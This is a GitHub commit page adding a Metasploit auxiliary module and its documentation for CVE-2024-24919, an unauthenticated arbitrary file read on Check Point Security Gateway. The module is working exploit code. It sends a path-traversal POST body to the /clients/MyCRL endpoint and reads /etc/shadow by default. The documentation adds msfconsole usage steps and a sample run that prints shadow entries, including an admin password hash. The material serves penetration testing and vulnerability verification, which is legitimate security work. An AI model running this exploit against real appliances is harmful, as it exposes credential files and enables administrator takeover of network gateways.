Skip to content

Commit 35d161b

Browse files
jheysel-r7jheysel-r7
committed
Land rapid7#19221, CheckPoint Security Gateway file read
This module leverages an unauthenticated arbitrary root file read vulnerability for Check Point Security Gateway appliances. When the IPSec VPN or Mobile Access blades are enabled on affected devices, traversal payloads can be used to read any files on the local file system. This vulnerability is tracked as CVE-2024-24919.
2 parents 906a348 + 1abe3b9 commit 35d161b

File tree

2 files changed

+218
-0
lines changed

2 files changed

+218
-0
lines changed

‎documentation/modules/auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919.md

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
## Vulnerable Application
2+
This module leverages an unauthenticated arbitrary root file read vulnerability for
3+
Check Point Security Gateway appliances. When the IPSec VPN or Mobile Access blades
4+
are enabled on affected devices, traversal payloads can be used to read any files on
5+
the local file system. Password hashes read from disk may be cracked, potentially
6+
resulting in administrator-level access to the target device. This vulnerability is
7+
tracked as CVE-2024-24919.
8+
9+
## Options
10+
11+
### STORE_LOOT
12+
Whether the read file's contents should be outputted to the console or stored as loot (default: false).
13+
14+
### TARGETFILE
15+
The target file to read (default: /etc/shadow). This should be a full Linux file path. Files containing binary data may
16+
not be read accurately.
17+
18+
## Testing
19+
To set up a test environment:
20+
1. Download an affected version of Check Point Security Gateway (Such as Check_Point_R81.20_T631.iso, SHA1:
21+
42e25f45ab6b1694a97f76ca363d58040802e6d6).
22+
1. Install the ISO within a virtual machine.
23+
1. Browse to the administrator web dashboard on port 443 and complete the first-time setup tasks.
24+
1. On a Windows system, download and install a copy of Check Point SmartConsole, then use it to authenticate to Security Gateway.
25+
1. In SmartConsole, enable and configure the vulnerable Mobile Access or IPSec VPN blades. These instructions focus on Mobile Access:
26+
1. Open the Gateway Properties:
27+
1. Navigate to Gateways & Servers in the left-hand menu.
28+
1. Select the gateway you want to configure.
29+
1. Right-click on the gateway and select Edit.
30+
1. Enable Mobile Access:
31+
1. In the General Properties tab, under Network Security, check the box for Mobile Access.
32+
1. Click on Mobile Access in the left-hand menu of the gateway properties window to access the Mobile Access settings.
33+
1. Configure Mobile Access:
34+
1. Set up the authentication methods under Authentication (e.g., LDAP, RADIUS, etc.).
35+
1. Configure the Portal Settings, specifying the URL for the Mobile Access Portal.
36+
1. Under Applications, define which applications and resources will be accessible via the Mobile Access portal.
37+
1. Click OK to close the properties window.
38+
1. Publish and push the configuration changes to the device.
39+
1. In SmartConsole, after completing your configuration, click on the Publish button at the top right corner of the
40+
SmartConsole window. This will save your changes to the management database.
41+
1. After publishing the changes, click on the Install Policy button located at the top of the SmartConsole window.
42+
1. In the Install Policy window, select the policy package you want to install. This is typically your main security policy package.
43+
1. Choose the gateways on which you want to install the policy. Make sure to select the gateway that you configured
44+
for Mobile Access and/or IPSec VPN.
45+
1. Click Install to begin the installation process. Once this process completes the gateway should then be vulnerable to this module.
46+
47+
48+
## Verification Steps
49+
1. Start msfconsole
50+
2. `use auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919`
51+
3. `set RHOSTS <TARGET_IP_ADDRESS>`
52+
4. `set RPORT <TARGET_PORT>`
53+
5. `set TARGETFILE <TARGET_FILE_TO_READ>`
54+
6. `set STORE_LOOT false` if you want to display the target file on the console instead of storing it as loot.
55+
7. `run`
56+
57+
## Scenarios
58+
### Check Point Security Gateway Linux
59+
```
60+
msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > show options
61+
62+
Module options (auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919):
63+
64+
Name Current Setting Required Description
65+
---- --------------- -------- -----------
66+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
67+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
68+
RPORT 443 yes The target port (TCP)
69+
SSL false no Negotiate SSL/TLS for outgoing connections
70+
STORE_LOOT false yes Store the target file as loot
71+
TARGETFILE /etc/shadow yes The target file to read. This should be a full Linux file path. Files containing binary data may not be read accurately
72+
TARGETURI / yes The URI path to Check Point Security Gateway
73+
VHOST no HTTP server virtual host
74+
75+
76+
View the full module info with the info, or info -d command.
77+
78+
msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > set RHOSTS 192.168.181.128
79+
RHOSTS => 192.168.181.128
80+
msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > set SSL true
81+
[!] Changing the SSL option's value may require changing RPORT!
82+
SSL => true
83+
msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > check
84+
[+] 192.168.181.128:443 - The target is vulnerable. Arbitrary file read successful!
85+
msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > run
86+
[*] Running module against 192.168.181.128
87+
88+
[*] Running automatic check ("set AutoCheck false" to disable)
89+
[+] The target is vulnerable. Arbitrary file read successful!
90+
[+] File read succeeded!
91+
admin:$6$hHJHiZdC2kHPD5HQ$/0dtMC53GSaZpLA/MeChOvJNNE4i9qoKL57Dsl853wF/RRNzJJ6CO5/qBmzCM7KdEUmXanF3J8T50ppLh/Sf2/:14559:0:99999:8:::
92+
monitor:*:19872:0:99999:8:::
93+
root:*:19872:0:99999:7:::
94+
cp_routeevt:*:19872:0:99999:7:::
95+
nobody:*:19872:0:99999:7:::
96+
postfix:*:19872:0:99999:7:::
97+
rpm:!!:19872:0:99999:7:::
98+
shutdown:*:19872:0:99999:7:::
99+
pcap:!!:19872:0:99999:7:::
100+
halt:*:19872:0:99999:7:::
101+
cp_postgres:*:19872:0:99999:7:::
102+
cp_extensions:*:19872:0:99999:7:::
103+
cpep_user:*:19872:0:99999:7:::
104+
vcsa:!!:19872:0:99999:7:::
105+
_nonlocl:*:19872:0:99999:7:::
106+
sshd:*:19872:0:99999:7:::
107+
108+
[*] Auxiliary module execution completed
109+
```

‎modules/auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919.rb

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
prepend Msf::Exploit::Remote::AutoCheck
9+
10+
def initialize(info = {})
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Check Point Security Gateway Arbitrary File Read',
15+
'Description' => %q{
16+
This module leverages an unauthenticated arbitrary root file read vulnerability for
17+
Check Point Security Gateway appliances. When the IPSec VPN or Mobile Access blades
18+
are enabled on affected devices, traversal payloads can be used to read any files on
19+
the local file system. Password hashes read from disk may be cracked, potentially
20+
resulting in administrator-level access to the target device. This vulnerability is
21+
tracked as CVE-2024-24919.
22+
},
23+
'Author' => [ 'remmons-r7' ],
24+
'Notes' => {
25+
'Stability' => [CRASH_SAFE],
26+
# At the time of module development, no IOCs for this local file disclosure are known
27+
'SideEffects' => [],
28+
'Reliability' => []
29+
},
30+
'DefaultOptions' => { 'SSL' => true },
31+
'References' => [
32+
# Vendor advisory
33+
[ 'URL', 'https://support.checkpoint.com/results/sk/sk182336' ],
34+
# Rapid7 ETR advisory for CVE-2024-24919
35+
[ 'URL', 'https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/' ],
36+
# Publication of first proof-of-concept exploit
37+
[ 'URL', 'https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/' ]
38+
]
39+
)
40+
)
41+
42+
register_options(
43+
[
44+
Opt::RPORT(443),
45+
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]),
46+
OptString.new('TARGETFILE', [true, 'The target file to read. This should be a full Linux file path. Files containing binary data may not be read accurately', '/etc/shadow']),
47+
OptString.new('TARGETURI', [true, 'The URI path to Check Point Security Gateway', '/'])
48+
]
49+
)
50+
end
51+
52+
def check
53+
# Attempt to read the /etc/group file (used in check due to lower likelihood of being flagged vs something like /etc/shadow)
54+
res_file = read_file('/etc/group')
55+
56+
# Check for connection failure
57+
return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to complete web request') unless res_file
58+
59+
# If the response body includes the string "root", we can assume the target is vulnerable
60+
unless res_file.body.include?('root')
61+
return Msf::Exploit::CheckCode::Safe('Arbitrary file read failed - the target did not respond with the requested file')
62+
end
63+
64+
Msf::Exploit::CheckCode::Vulnerable('Arbitrary file read successful!')
65+
end
66+
67+
def run
68+
# After the auto check confirms the target is vulnerable, attempt to leak the specified target file
69+
file_name = datastore['TARGETFILE']
70+
res_read_file = read_file(file_name)
71+
72+
# Check for connection failure
73+
fail_with(Failure::Unknown, 'Connection failed - unable to complete web request') unless res_read_file
74+
75+
# If the response indicates that the target file does not exist, fail with NotFound
76+
if (res_read_file&.code == 404) || (res_read_file.body.include? 'The URL you requested could not be found on this server.')
77+
fail_with(Failure::NotFound, 'The requested file was not found - the target file does not exist or the system cannot read it')
78+
end
79+
80+
# If the vulnerable server responds with a status other than the expected 200 or 404 (for example, a WAF 403), fail with UnexpectedReply
81+
if res_read_file&.code != 200
82+
fail_with(Failure::UnexpectedReply, "The application did not respond with a 200 as expected - the HTTP response code was: #{res_read_file&.code}")
83+
end
84+
85+
# Assign variable with file contents, then store the file in loot or print the contents
86+
file_data = res_read_file.body
87+
88+
if datastore['STORE_LOOT']
89+
store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'File read from Check Point Security Gateway server')
90+
print_good('Stored the file data to loot...')
91+
else
92+
# A new line is sent before file contents for better readability
93+
print_good("File read succeeded! \n#{file_data}")
94+
end
95+
end
96+
97+
# Performs a POST request with a traversal payload in the body
98+
# Responses should either be a 200 with only the file contents in the body or a 404 for files that do not exist
99+
def read_file(fname)
100+
send_request_cgi(
101+
{
102+
'method' => 'POST',
103+
'uri' => normalize_uri(target_uri.path, 'clients', 'MyCRL'),
104+
'headers' => { 'Connection' => 'close' },
105+
'data' => "aCSHELL/../../../../../../../../../..#{fname}"
106+
}
107+
)
108+
end
109+
end

0 commit comments

Comments
 (0)